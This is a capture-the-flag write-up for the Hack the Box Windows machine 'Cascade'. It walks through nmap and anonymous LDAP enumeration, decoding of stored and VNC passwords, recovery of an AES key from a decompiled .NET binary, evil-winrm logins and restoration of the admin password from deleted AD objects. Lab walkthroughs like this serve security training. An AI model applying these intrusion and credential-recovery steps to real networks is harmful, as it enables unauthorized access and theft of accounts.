Hack the Box - Cascade

hack the box Jul 25, 2020

Welcome back! Today we are doing the Hack the Box machine - Cascade! This machine is listed as an easy Windows system. Let's jump in!

As normal, we kick it off with nmap: nmap -sC -sV -p- -oA allscan

Here are our results:

Not shown: 65520 filtered ports
53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid: 
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2020-04-02 12:57:51Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49154/tcp open  msrpc         Microsoft Windows RPC
49155/tcp open  msrpc         Microsoft Windows RPC
49157/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc         Microsoft Windows RPC
49165/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: CASC-DC1; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 2m29s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2020-04-02T12:58:43
|_  start_date: 2020-04-02T09:52:45

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 414.85 seconds

We see quite a few ports. It looks like we want to obtain a foothold via ldap and leveraging it via WinRPC. We'll run it through a quick enum4linux to see what low hanging fruit might be there:

enum4linux -a

This gives us a bunch of errors, as usual for the tool. It does give us some user data though:

Group 'Domain Users' (RID: 513) has member: CASCADE\administrator
Group 'Domain Users' (RID: 513) has member: CASCADE\krbtgt
Group 'Domain Users' (RID: 513) has member: CASCADE\arksvc
Group 'Domain Users' (RID: 513) has member: CASCADE\s.smith
Group 'Domain Users' (RID: 513) has member: CASCADE\r.thompson
Group 'Domain Users' (RID: 513) has member: CASCADE\util
Group 'Domain Users' (RID: 513) has member: CASCADE\j.wakefield
Group 'Domain Users' (RID: 513) has member: CASCADE\s.hickson
Group 'Domain Users' (RID: 513) has member: CASCADE\j.goodhand
Group 'Domain Users' (RID: 513) has member: CASCADE\a.turnbull
Group 'Domain Users' (RID: 513) has member: CASCADE\e.crowe
Group 'Domain Users' (RID: 513) has member: CASCADE\b.hanson
Group 'Domain Users' (RID: 513) has member: CASCADE\d.burman
Group 'Domain Users' (RID: 513) has member: CASCADE\BackupSvc
Group 'Domain Users' (RID: 513) has member: CASCADE\j.allen
Group 'Domain Users' (RID: 513) has member: CASCADE\i.croft

We have some user accounts, but we want to verify that the domain is what we might assume, maybe cascade.local or cascade.htb. We can do this with ldapsearch. Normally, you would probably just jump right into ldapsearch and skip enum4linux. For me, that's what my workflow looks like, out of habit.

We want to get our directory partitions for the domain so that we fully understand our search scope. Here's a quick command to obtain that:

ldapsearch -h -x -s namingcontexts

This queries the target with simple authentication (-x). Searching the scope (-s) of namingcontexts. You can take a quick look here for more info: https://ldapwiki.com/wiki/NamingContext

We do see the base of cascade.local. We'll re-issue the ldapsearch with the base specified and obtain a pretty large list of data.

`ldapsearch -h -x -b "DC=cascade,DC=local" > ldapoutput'

This runs an anonymous query an obtains as much information as it can. We save this file so we can manipulate it as well.

We can now start to grep through the file and obtain more information. One item I like to check against is badPwdCount. This can often give us an idea of active user accounts (assuming someone isn't spraying the box). We simply grep the output file for pwd.

cat ldapoutput | grep -i pwd

When we do this we do see the box is probably getting spray, but we also find an interesting object - cascadeLegacyPwd.

Looks like we have a base64 password here. Let's quickly decrypt it.

echo clk0bjVldmE= | base64 -d

We get back our password! Now the question is, what accounts does it work on? We can search the file for the hashed password to hopefully associate an account.

cat ldapout | grep -n10 'clk0bjVldmE='

This will give us 10 lines before and after the keyword found. We see that the password belongs to r.thompson.

Now that we have a password, we will try it out with evil-winRM.

evil-winrm -i -u r.thompson -p rY4n5eva

We get access denied. We can try it against SMB share as well. Frist we'll try to enumerate the shares available with the -L function of smbclient.

smbclient -L // -U r.thompson

The share that's most appealing is Audit$ and Data. We'll try to connect to both and see what's inside. The Audit share has listing access denied but the Data share does not.

We are only able to list the contents of the IT directory. As we sift through the directories we are able to download some files:

VNC Install.reg

When we look at these files we see a TempAdmin account which is also referenced in the email notes file. Also in the VLC Reg file we see a hex password. Trying to decode the Hex format doesn't give us anything. Some googling around finds us a VNC password decoder. This is the post I used in particular. Original file hosted here on his personal site.

We download referenced application and feed it our hex.

We now have another password - sT333ve2. What are the chances that this password is for the TempAdmin account? No such luck. We did find this file in s.smith's directory, so there is a good chance this could be that users password. We try it with Evil-WinRM first and it works!

We head over and snag the flag. Now that we have a user account with WinRM capabilities. We'll start enumerating internally. We start by checking what groups we belong to. We see that this account has access to the previously inaccessible audit share.

So we'll attempt to connect as this user to the share.

mbclient //$ -U s.smith

Once we're in we see quire a few files. The first is this RunAudit.bat file as well as CascAudit.exe. We also have a file called Audit.db. We'll download all of the files to look at them locally.

We see that RunAudit.bat file is simply calling the previous executables and referencing a database location / file.

So we want to see what's inside this file. In the past I've used https://inloop.github.io/sqlite-viewer/ to view these files. We'll upload it here again and see what it contains. We see there are 4 tables.

As we go through the content, we see the password for the service account ArkSvc!

Great, we now have an encrypted password. We also know that we obtained a CascCrypto.dll file from the server as well. Looks like we might have to crack open the DLL to see how the encryption works. For modern applications, I tend to use dotPeek by JetBrains in conjunction with dnSpy.

Once we open the file we get a great look at the main module.

// Decompiled with JetBrains decompiler
// Type: CascAudiot.MainModule
// Assembly: CascAudit, Version=, Culture=neutral, PublicKeyToken=null
// MVID: A5ED61EF-EE06-4B4D-B028-DFA5DECD972B
// Assembly location: C:\Users\ncani\Documents\HTB\CascCrypto.dll

using CascAudiot.My;
using CascCrypto;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.Collections;
using System.Data.SQLite;
using System.DirectoryServices;

namespace CascAudiot
  internal sealed class MainModule
    private const int USER_DISABLED = 2;

    public static void Main()
      if (MyProject.Application.CommandLineArgs.Count != 1)
        Console.WriteLine("Invalid number of command line args specified. Must specify database path only");
        using (SQLiteConnection sqLiteConnection = new SQLiteConnection("Data Source=" + MyProject.Application.CommandLineArgs[0] + ";Version=3;"))
          string empty1 = string.Empty;
          string str1 = string.Empty;
          string empty2 = string.Empty;
            using (SQLiteCommand sqLiteCommand = new SQLiteCommand("SELECT * FROM LDAP", sqLiteConnection))
              using (SQLiteDataReader sqLiteDataReader = sqLiteCommand.ExecuteReader())
                empty1 = Conversions.ToString(sqLiteDataReader.get_Item("Uname"));
                empty2 = Conversions.ToString(sqLiteDataReader.get_Item("Domain"));
                string str2 = Conversions.ToString(sqLiteDataReader.get_Item("Pwd"));
                  str1 = Crypto.DecryptString(str2, "c4scadek3y654321");
                catch (Exception ex)
                  Console.WriteLine("Error decrypting password: " + ex.Message);
          catch (Exception ex)
            Console.WriteLine("Error getting LDAP connection data From database: " + ex.Message);
          int num = 0;
          using (DirectoryEntry searchRoot = new DirectoryEntry())
            searchRoot.Username = empty2 + "\\" + empty1;
            searchRoot.Password = str1;
            searchRoot.AuthenticationType = AuthenticationTypes.Secure;
            using (DirectorySearcher directorySearcher = new DirectorySearcher(searchRoot))
              directorySearcher.Tombstone = true;
              directorySearcher.PageSize = 1000;
              directorySearcher.Filter = "(&(isDeleted=TRUE)(objectclass=user))";
              directorySearcher.PropertiesToLoad.AddRange(new string[3]
              using (SearchResultCollection all = directorySearcher.FindAll())
                Console.WriteLine("Found " + Conversions.ToString(all.Count) + " results from LDAP query");
                  IEnumerator enumerator;
                    enumerator = all.GetEnumerator();
                    while (enumerator.MoveNext())
                      SearchResult current = (SearchResult) enumerator.Current;
                      string empty3 = string.Empty;
                      string empty4 = string.Empty;
                      string empty5 = string.Empty;
                      if (current.Properties.Contains("cn"))
                        empty3 = Conversions.ToString(current.Properties["cn"][0]);
                      if (current.Properties.Contains("sAMAccountName"))
                        empty4 = Conversions.ToString(current.Properties["sAMAccountName"][0]);
                      if (current.Properties.Contains("distinguishedName"))
                        empty5 = Conversions.ToString(current.Properties["distinguishedName"][0]);
                      using (SQLiteCommand sqLiteCommand = new SQLiteCommand("INSERT INTO DeletedUserAudit (Name,Username,DistinguishedName) VALUES (@Name,@Username,@Dn)", sqLiteConnection))
                        sqLiteCommand.get_Parameters().AddWithValue("@Name", (object) empty3);
                        sqLiteCommand.get_Parameters().AddWithValue("@Username", (object) empty4);
                        sqLiteCommand.get_Parameters().AddWithValue("@Dn", (object) empty5);
                        checked { num += sqLiteCommand.ExecuteNonQuery(); }
                    if (enumerator is IDisposable)
                      (enumerator as IDisposable).Dispose();
                  Console.WriteLine("Successfully inserted " + Conversions.ToString(num) + " row(s) into database");

This in particular is good for us. We have the Secret Key for the encryption but what we also need is the IV. We load the items into IDA and link the DLL. We get a IV of 1tdyjCbY1lx49842. We can now decrypt the AES here.

The decrypted password is w3lc0meFr31nd!

Now we have the service account password, we can reconnect as that account.

Evil-WinRM -i -U ArkSvc -p w3lc0meFr31nd

Once we're in, we start to enumerate more as this service account. We know the service account has the ability delete accounts based on what we saw in the logs. We should start by trying to identify previously deleted accounts. The email said that the TempAdmin account had the same password as the standard admin account. So if the TempAdmin account is indeed still in the recyle bin we might be able to obtain data from it.

For this, we use PowerShell, something everyone should be familiar with at some level. We'll use the Get-AdObject cmdlet with some filters.

Evil-WinRM> Get-ADObject -filter 'isdeleted -eq $true' -includedeletedobjects

This gives us a list of deleted users but nothing else, we need to appened -property * to the end of our command.

Evil-WinRM> Get-ADObject -filter 'isdeleted -eq $true' -includedeletedobjects -property *

As you can see, this gives us a huge list of properties on each of the accounts. Just like before we had a AD Attribute of cascadeLegacyPwd.

We can now decode this password and use it to log in as Administrator!

We now have a password - baCT3r1aN00dles. Let's try to log in as Administrator.

We are in! We snag the root.txt file! Box complete!

Think about sending me some respect over on HTB if you enjoyed the write-up! Here's my profile.